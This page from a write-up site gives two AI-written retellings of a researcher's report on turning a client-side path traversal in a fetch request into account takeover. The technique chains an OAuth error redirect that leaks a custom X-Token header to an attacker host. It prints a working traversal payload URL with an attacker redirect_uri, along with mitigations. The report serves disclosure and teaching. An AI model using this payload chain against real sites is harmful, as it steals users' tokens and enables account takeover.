Skip to content
Path traversal Write-up Advanced

From an Innocent Client-Side Path Traversal to Account Takeover

A client-side path traversal in a fetch request allowed an attacker to redirect the request to an attacker-controlled host via an OAuth error redirect, leaking a custom authentication token header. This could lead to account takeover if the token is used for authentication.

kapytein Follow

Published on kapytein.nl

A path traversal vulnerability is usually well known as an issue which can either allow you to read or write files on a server, but what if there's a path traversal in a fetch request by the browser? We've seen several examples, like Medi's research, which entered the top 10 web hacking techniques of 2022.

Nadir's Blog, on kapytein.nl

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

A path traversal is usually thought of as a server-side issue that lets you read or write files on a server. This write-up looks at a different case: a path traversal inside a fetch request made by the browser. The technique builds on earlier public research on practical client-side path traversal attacks, which was among the top 10 web hacking techniques of 2022.

The article describes a technique the author often used to escalate a client-side path traversal into an account takeover, and then discusses how that specific exploitation scenario may be partially mitigated now.

Path traversal in a fetch context

Single page applications commonly load data with fetch (or previously XMLHttpRequest). Many applications load the required data using fetch based on the current URL. For example, when you request https://frontend.example.com/services/123, the files needed to render the user interface load first, and afterwards the application likely creates a fetch request to the back-end to fetch the "services" object with identifier 123.

That fetch request is very likely sent to a different path than the one being visited, because API routing is often different from front-end routing. Developers usually have to include the identifier from the front-end URL in the request path of the fetch request, like this:

JavaScript
...
fetch(`https://api.example.com/api/v1/services/${queryParams.serviceId}`,
{ headers: { "X-Token": `${user.token}`}})
...

From this example it is obvious that the path of the request can be traversed to call other endpoints. What is less obvious is that the X-Token header could be exfiltrated to an attacker-controlled host in this case.

Setup

The scenario assumes a front-end on one host (frontend.example.com) and an API on another (api.example.com). The front-end reads an identifier from the URL query string (queryParams.serviceId) and interpolates it into the path of a fetch request to the API. The fetch request carries the user's token in an X-Token header.

The exploitation also needs two things on the API host: an open redirect, and a way to reach it through the traversed path. The author points out that finding an open redirect can be a challenge, since it is usually reported on its own on bug bounty programs and pentesting engagements. The technique therefore leverages common implementations to find "non-accidental" open redirects, specifically OAuth error redirects.

On the attacker side, a host is needed to receive the leaked header, here exfil.kapytein.nl, with the right CORS headers set so the response can be read.

Finding it

The starting point is the interpolation shown above: the value of queryParams.serviceId goes straight into the request path. Because the value comes from the URL, an attacker who can get a victim to load a crafted front-end URL controls part of the API request path. Traversal sequences in that value move the request to other endpoints on api.example.com.

The second observation is about redirects. If an open redirect exists on api.example.com and redirects the request to kapytein.nl, fetch will include the X-Token header with its value for the request to the new origin, when the redirect option property is not set to error. That is not the case by default, so the request would be redirected to kapytein.nl along with the X-Token header.

Exploitation

Step 1: find a redirect on the API host

Rather than hunting for a standalone open redirect, the author uses OAuth. Almost every application nowadays offers a way for customers to integrate with external applications, often based on the Open Authorization (OAuth) protocol. The application may allow the customer to create their own OAuth client, and when creating a client it should be possible to provide your own redirect URI.

Error responses from the OAuth protocol can then be used to redirect to a different host without requiring the user to authorise the application. RFC 6749, section [redacted], quoted in the article, says that if the resource owner denies the access request or if the request fails for reasons other than a missing or invalid redirection URI, the authorization server informs the client by adding parameters to the query component of the redirection URI using the application/x-www-form-urlencoded format.

So if an error response is generated, the authorization server should redirect to the provided redirect URI (if it is valid) with an error response, something like:

Text
https://exfil.kapytein.nl/callback?error=unsupported_response_type&state=xyz

Generating an error response should be easy and should not require the end user to authorise the application. For instance, if the OAuth client does not support token as a response_type, using it can trigger an unsupported_response_type error. A completely invalid value, like tokenzzz, can trigger an invalid_response_type error.

In reality implementations differ: some may not redirect the error response to the registered redirect URI. The scenario assumes the redirect does go to the registered redirect URI, and that the OAuth flow is on the same host as the fetch request (api.example.com). In that case an OAuth client can be created with the preferred redirect URI, and error responses used as a redirect for the path traversal. All that remains is to reach the OAuth flow path and set the right CORS headers on exfil.kapytein.nl.

Step 2: build the traversal payload

If the fetch request is created from https://frontend.example.com, the payload looks like this:

HTML
https://frontend.example.com/services?service_id=asdasd/../../authorize?client_id=123%26response_type=tokenz%26redirect_uri=https://exfil.kapytein.nl/callback

Step 3: the resulting fetch request

With the payload above, the URL of the fetch would be:

JavaScript
...
// With payload above, URL of the fetch would be: https://api.example.com/api/v1/services/asdasd/../../authorize?client_id=123&response_type=tokenz&redirect_uri=https://exfil.kapytein.nl/callback
fetch(`https://api.example.com/api/v1/services/${queryParams.serviceId}`,
{ headers: { "X-Token": `${user.token}`}})
...

If the authorization server redirects the error to the registered redirect URI, it goes to https://exfil.kapytein.nl/callback with the error parameters. Because the redirect option is not set to error, fetch follows the redirect and sends the X-Token header to the new origin.

If the redirect succeeds, the contents of the X-Token header leak to the attacker's host. That completes the escalation from an innocent path traversal to an account takeover.

Root cause

On the API host, an OAuth error redirect to an attacker-registered redirect URI provides the open redirect that turns the traversal into cross-origin exfiltration.

Values from the Authorization header, when set by the developer in a fetch request, were previously not removed when the request was redirected to a different origin. The X-Token header in this scenario is a custom header, so the redirect carries it to the attacker's host.

Impact

If the redirect succeeds, the X-Token header leaks to the attacker's host, which the author describes as completing the escalation to account takeover. This depends on the conditions described: the identifier from the URL being interpolated into the fetch path, an open redirect on the API host (here via an OAuth error redirect to a registered redirect URI), the OAuth flow being on the same host as the fetch request, the redirect option not being set to error, and the attacker host returning the right CORS headers.

Outside this specific scenario, a client-side path traversal could still be exploited differently, for example to achieve XSS or CSRF. Client-side path traversal in fetch requests remains an interesting issue, as exploitation highly depends on the context and application and, unlike XSS, is less straightforward to exploit.

Fix

Two mitigations are named. First, apply a strict connect-src directive in your Content Security Policy. Second, communicate your tokens to your API via the Authorization header.

The second one works because of a change implemented in the Fetch Standard in November 2022, indicating that browsers should drop the Authorization header when there is a redirect to a different origin. The request would still succeed as expected, but without the Authorization header being passed on. All browsers have implemented the change. This is why the author describes the specific exploitation scenario as partially mitigated now: the Authorization header is stripped on cross-origin redirects, while a custom header such as X-Token is not.

Variants to test

  1. Traversal in a fetch path. Look for front-end URLs whose identifiers are interpolated into an API request path. A positive result is a crafted value that makes the fetch reach a different endpoint on the API host.
  2. OAuth error redirect. Create an OAuth client with your own redirect URI and request an unsupported or invalid response_type. A positive result is a redirect to your registered redirect URI carrying error parameters, without the user authorising anything.
  3. Header leakage on redirect. Combine the two: a positive result is your host receiving the custom header value from the redirected fetch.
  4. Header behaviour check. Run the following JS code in the developer's console to test how headers are leaked cross-origin and how the Authorization header is stripped away. The request is redirected to https://httpbin.org/get, which returns the received headers in a JSON response.
JavaScript
fetch("https://pitifulprofitablesquares.kapytein.repl.co/", {
    headers: { "Authorization": "eythisvaluewillberemoved", "X-Token": "thisvaluewillnotberemoved" }
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Imagine you are browsing a website. Your browser quietly asks the site's servers for information in the background, and it attaches a small pass, called a token, to each request so the server knows who you are. Normally that token stays between your browser and the site's own servers.

This write-up shows how a small mistake in how a website builds one of those background requests can be abused so that the token is handed to a completely different server, one controlled by an attacker. Once the attacker has your token, they can act as you, which is called an account takeover.

The mistake is called a path traversal. The name sounds technical, but the idea is simple: a request has a path, like a street address, and if part of that address is copied from something the visitor controls (the URL in the address bar), an attacker can put ../ in it. In file systems, ../ means "go up one folder". In a web request path it does the same thing: it walks the request backwards to a different place than the developer intended.

Usually path traversal is talked about on the server, where it can let someone read or write files. Here it happens inside the browser, in a request the page makes on its own. The author builds on earlier public research on this kind of client-side path traversal, which was among the top 10 web hacking techniques of 2022.

The article describes a technique the author often used to turn a client-side path traversal into an account takeover, and then explains how that particular scenario may be partly blocked now.

Some words you need first

Before the steps make sense, here are the pieces involved, explained from zero.

  • A front-end and an API. Many modern websites are split in two. The front-end is the part you see: pages, buttons, layout. The API (Application Programming Interface) is the back-end service that holds the actual data and answers questions like "give me service number 123". The front-end asks the API for data and then draws it on the screen. In this article the front-end lives at frontend.example.com and the API lives at api.example.com: two different addresses.
  • A single page application. A website built so that the browser loads the interface once and then swaps content in and out without full page reloads. It feels faster and smoother. To get new data it asks the API in the background.
  • fetch. A built-in browser function that JavaScript uses to make those background requests. Older sites used a similar function called XMLHttpRequest. When you see fetch(...) in code, read it as "the browser is now going to ask a server for something".
  • A header. Extra labelled information attached to a request, separate from the address and the body. Think of an envelope: the address is on the front, but you can also write "fragile" or "this side up" on it. Headers carry things like the token, the browser type, and so on.
  • A token. A long random string that proves who you are, a bit like a wristband at an event. You get it when you log in, and you show it with every request so the server does not ask for your password again. If someone else copies your wristband, they can walk around as you. That is why leaking a token matters.
  • An endpoint. A specific address on a server that does a specific job, for example /authorize for the login/authorisation step, or /api/v1/services/123 for one service record.
  • An open redirect. A feature on a website that takes a destination from the URL and sends the visitor there. It is meant for convenience ("after login, go back to the page you came from"), but if it accepts any destination, an attacker can use the trusted site as a stepping stone to their own.
  • OAuth (Open Authorization). The standard way apps let you "log in with" or connect to another service, and the way a service lets its customers build integrations. Part of it involves redirect URIs: the address the authorisation server sends you back to when it is done, or when something goes wrong.
  • CORS. A browser rule about which websites are allowed to read responses from which other websites. If the attacker's server does not send the right CORS headers, the attacker's page cannot read the response that arrives there.
  • Content Security Policy (CSP). A set of instructions a website sends to the browser saying which places it is allowed to contact. The connect-src part lists the addresses that background requests may go to.

The mistake: a path built from the URL

Single page applications commonly load data with fetch. Many of them decide what to fetch based on the address you are currently on. For example, when you request https://frontend.example.com/services/123, the files needed to draw the interface load first, and afterwards the application likely makes a fetch request to the back-end to get the "services" object with identifier 123.

That fetch request is very likely sent to a different path than the one you are visiting, because API routing is often different from front-end routing. So developers usually have to take the identifier from the front-end URL and paste it into the request path of the fetch request, like this:

JavaScript
...
fetch(`https://api.example.com/api/v1/services/${queryParams.serviceId}`,
{ headers: { "X-Token": `${user.token}`}})
...

Line by line:

  1. fetch( starts a background request.
  2. The address is built from a fixed part, https://api.example.com/api/v1/services/, followed by ${queryParams.serviceId}. That last piece is a placeholder: whatever value the page read from the URL's query string (the part after the ?) is dropped in there. If the URL said ?serviceId=123, the request goes to .../services/123.
  3. The second argument, { headers: { "X-Token": ${user.token}}}, attaches a header named X-Token whose value is the logged-in user's token.

From this example it is obvious that the path of the request can be traversed to call other endpoints. If the value dropped into the address contains ../, the request walks up out of /api/v1/services/ and lands somewhere else on api.example.com. What is less obvious is that the X-Token header could be exfiltrated to an attacker-controlled host in this case.

The setup the attack needs

The scenario assumes a front-end on one host (frontend.example.com) and an API on another (api.example.com). The front-end reads an identifier from the URL query string (queryParams.serviceId) and puts it into the path of a fetch request to the API. The fetch request carries the user's token in an X-Token header.

The exploitation also needs two things on the API host: an open redirect, and a way to reach it through the traversed path. The author points out that finding an open redirect can be a challenge, since it is usually reported on its own on bug bounty programs and pentesting engagements. The technique therefore leverages common implementations to find "non-accidental" open redirects, specifically OAuth error redirects.

On the attacker side, a host is needed to receive the leaked header, here exfil.kapytein.nl, with the right CORS headers set so the response can be read.

Finding it

The starting point is the interpolation shown above: the value of queryParams.serviceId goes straight into the request path. Because the value comes from the URL, an attacker who can get a victim to load a crafted front-end URL controls part of the API request path. Traversal sequences in that value move the request to other endpoints on api.example.com.

The second observation is about redirects. If an open redirect exists on api.example.com and redirects the request to kapytein.nl, fetch will include the X-Token header with its value for the request to the new origin, when the redirect option property is not set to error. That is not the case by default, so the request would be redirected to kapytein.nl along with the X-Token header.

In plain words: when a server answers a request with "go look over there instead", the browser follows. By default it carries the request's headers along to the new place, even when the new place is a different website. The developer can change that by setting the redirect option to error, but that is not the default.

Exploitation

Step 1: find a redirect on the API host

Rather than hunting for a standalone open redirect, the author uses OAuth. Almost every application nowadays offers a way for customers to integrate with external applications, often based on the Open Authorization (OAuth) protocol. The application may allow the customer to create their own OAuth client, and when creating a client it should be possible to provide your own redirect URI.

Error responses from the OAuth protocol can then be used to redirect to a different host without requiring the user to authorise the application. RFC 6749, section [redacted], quoted in the article, says that if the resource owner denies the access request or if the request fails for reasons other than a missing or invalid redirection URI, the authorization server informs the client by adding parameters to the query component of the redirection URI using the application/x-www-form-urlencoded format.

In everyday terms: when you set up an integration, you tell the service where to send people back to afterwards. That address is your redirect URI. If something goes wrong during the authorisation step, the service does not just show an error page; it sends you back to your registered redirect URI with the error written into the address. That should be a redirect to an address you chose, without the user approving anything, though implementations differ.

So if an error response is generated, the authorization server should redirect to the provided redirect URI (if it is valid) with an error response, something like:

Text
https://exfil.kapytein.nl/callback?error=unsupported_response_type&state=xyz

Reading that address: it goes to the attacker's host, exfil.kapytein.nl, on the path /callback. After the ? come two pieces of information: error=unsupported_response_type says what went wrong, and The important part is that the browser was sent to the attacker's server by the trusted API host.

Generating an error response should be easy and should not require the end user to authorise the application. For instance, if the OAuth client does not support token as a response_type, using it can trigger an unsupported_response_type error. A completely invalid value, like tokenzzz, can trigger an invalid_response_type error.

In reality implementations differ: some may not redirect the error response to the registered redirect URI. The scenario assumes the redirect does go to the registered redirect URI, and that the OAuth flow is on the same host as the fetch request (api.example.com). In that case an OAuth client can be created with the preferred redirect URI, and error responses used as a redirect for the path traversal. All that remains is to reach the OAuth flow path and set the right CORS headers on exfil.kapytein.nl.

Step 2: build the traversal payload

If the fetch request is created from https://frontend.example.com, the payload looks like this:

HTML
https://frontend.example.com/services?service_id=asdasd/../../authorize?client_id=123%26response_type=tokenz%26redirect_uri=https://exfil.kapytein.nl/callback

This is the link the attacker sends to the victim. Breaking it into pieces:

  1. https://frontend.example.com/services is the ordinary front-end page. Nothing suspicious here.
  2. ?service_id= starts the query string, and everything after it is the value the page will read and paste into its API request.
  3. authorize?client_id=123 is the OAuth endpoint the attacker wants to reach, with the attacker's own OAuth client identifier.
  4. response_type=tokenz is deliberately invalid, to provoke an error.

Step 3: the resulting fetch request

With the payload above, the URL of the fetch would be:

JavaScript
...
// With payload above, URL of the fetch would be: https://api.example.com/api/v1/services/asdasd/../../authorize?client_id=123&response_type=tokenz&redirect_uri=https://exfil.kapytein.nl/callback
fetch(`https://api.example.com/api/v1/services/${queryParams.serviceId}`,
{ headers: { "X-Token": `${user.token}`}})
...

Line by line:

  1. The comment shows what the address becomes once the payload is dropped into the placeholder.
  2. The OAuth parameters ride along: client_id=123, the invalid response_type=tokenz, and the attacker's redirect_uri.
  3. The fetch call itself is unchanged from the innocent version. It still attaches the X-Token header with the user's token.

If the authorization server redirects the error to the registered redirect URI, it goes to https://exfil.kapytein.nl/callback with the error parameters. Because the redirect option is not set to error, fetch follows the redirect and sends the X-Token header to the new origin.

If the redirect succeeds, the contents of the X-Token header leak to the attacker's host. That completes the escalation from an innocent path traversal to an account takeover.

Why it worked

On the API host, an OAuth error redirect to an attacker-registered redirect URI provides the open redirect that turns the traversal into cross-origin exfiltration.

Values from the Authorization header, when set by the developer in a fetch request, were previously not removed when the request was redirected to a different origin. The X-Token header in this scenario is a custom header, so the redirect carries it to the attacker's host.

What an attacker gets

If the redirect succeeds, the X-Token header leaks to the attacker's host, which the author describes as completing the escalation to account takeover. This depends on the conditions described: the identifier from the URL being interpolated into the fetch path, an open redirect on the API host (here via an OAuth error redirect to a registered redirect URI), the OAuth flow being on the same host as the fetch request, the redirect option not being set to error, and the attacker host returning the right CORS headers.

Outside this specific scenario, a client-side path traversal could still be exploited differently, for example to achieve XSS or CSRF. Client-side path traversal in fetch requests remains an interesting issue, as exploitation highly depends on the context and application and, unlike XSS, is less straightforward to exploit.

How to fix it

Two mitigations are named. First, apply a strict connect-src directive in your Content Security Policy.

Second, communicate your tokens to your API via the Authorization header.

The second one works because of a change implemented in the Fetch Standard in November 2022, indicating that browsers should drop the Authorization header when there is a redirect to a different origin. The request would still succeed as expected, but without the Authorization header being passed on. All browsers have implemented the change. This is why the author describes the specific exploitation scenario as partially mitigated now: the Authorization header is stripped on cross-origin redirects, while a custom header such as X-Token is not.

Things to test

  1. Traversal in a fetch path. Look for front-end URLs whose identifiers are interpolated into an API request path. A positive result is a crafted value that makes the fetch reach a different endpoint on the API host.
  2. OAuth error redirect. Create an OAuth client with your own redirect URI and request an unsupported or invalid response_type. A positive result is a redirect to your registered redirect URI carrying error parameters, without the user authorising anything.
  3. Header leakage on redirect. Combine the two: a positive result is your host receiving the custom header value from the redirected fetch.
  4. Header behaviour check. Run the following JS code in the developer's console to test how headers are leaked cross-origin and how the Authorization header is stripped away. The request is redirected to https://httpbin.org/get, which returns the received headers in a JSON response.
JavaScript
fetch("https://pitifulprofitablesquares.kapytein.repl.co/", {
    headers: { "Authorization": "eythisvaluewillberemoved", "X-Token": "thisvaluewillnotberemoved" }
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

Line by line:

  1. headers: { "Authorization": "eythisvaluewillberemoved", "X-Token": "thisvaluewillnotberemoved" } attaches two headers with placeholder values. The names say what should happen to each: the Authorization one is expected to be removed, the custom X-Token one is expected to survive.
  2. .then(response => response.json()) takes the answer and reads it as JSON, a structured text format.
  3. .then(data => console.log(data)) prints that data in the browser console, so you can see which headers arrived at the destination.
  4. .catch(error => console.error('Error:', error)); prints any failure instead of silently doing nothing.

Glossary

  • Account takeover: an attack where someone else gains control of your account, for example by stealing your token.
  • API (Application Programming Interface): the back-end service a website's front-end asks for data, usually on a different address from the pages you see.
  • Authorization header: a standard request header used to carry credentials; browsers now drop it when a request is redirected to a different origin.
  • Client-side: happening in the browser, on the visitor's computer, rather than on the server.
  • connect-src: the part of a Content Security Policy that lists which addresses background requests may contact.
  • Content Security Policy (CSP): instructions a website gives the browser about what it is allowed to load and contact.
  • CORS: browser rules deciding whether one website may read responses from another website.
  • CSRF (Cross-Site Request Forgery): tricking a logged-in browser into sending a request the user did not intend.
  • Custom header: a header with a name the developer invented, such as X-Token, rather than one defined by web standards.
  • Endpoint: a specific address on a server that performs a specific job.
  • Exfiltration: getting data out to a place the attacker controls.
  • fetch: the browser function JavaScript uses to make background requests to servers.
  • Fetch Standard: the document that defines how browsers should behave when making these requests.
  • Front-end: the part of a website you see and interact with in the browser.
  • Header: labelled extra information attached to a request or response, separate from its address and body.
  • JSON: a structured text format for data, easy for programs to read.
  • OAuth (Open Authorization): the standard protocol behind "log in with" buttons and third-party integrations.
  • Open redirect: a feature that sends the visitor to an address taken from the URL, which an attacker can abuse to send people to their own site.
  • Origin: the combination of scheme, host and port (for example https://api.example.com); two different origins are treated as different websites by the browser.
  • Path traversal: putting ../ into a path so a request or file access moves to a different place than intended.
  • Payload: the crafted value or link an attacker uses to trigger a vulnerability.
  • Query string: the part of a URL after the ?, made of name and value pairs.
  • Redirect: a server's answer telling the browser to go to a different address instead.
  • Redirect URI: in OAuth, the address the authorisation server sends the user back to.
  • response_type: an OAuth parameter saying what kind of answer the client wants; an unsupported value causes an error.
  • RFC 6749: the document that defines the OAuth 2.0 protocol.
  • Single page application: a website that loads its interface once and swaps content in the background without full page reloads.
  • Token: a random string proving who you are, sent with requests instead of your password.
  • XSS (Cross-Site Scripting): injecting attacker-controlled script into a page so it runs in a victim's browser.
  • XMLHttpRequest: the older browser function for background requests, used before fetch.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.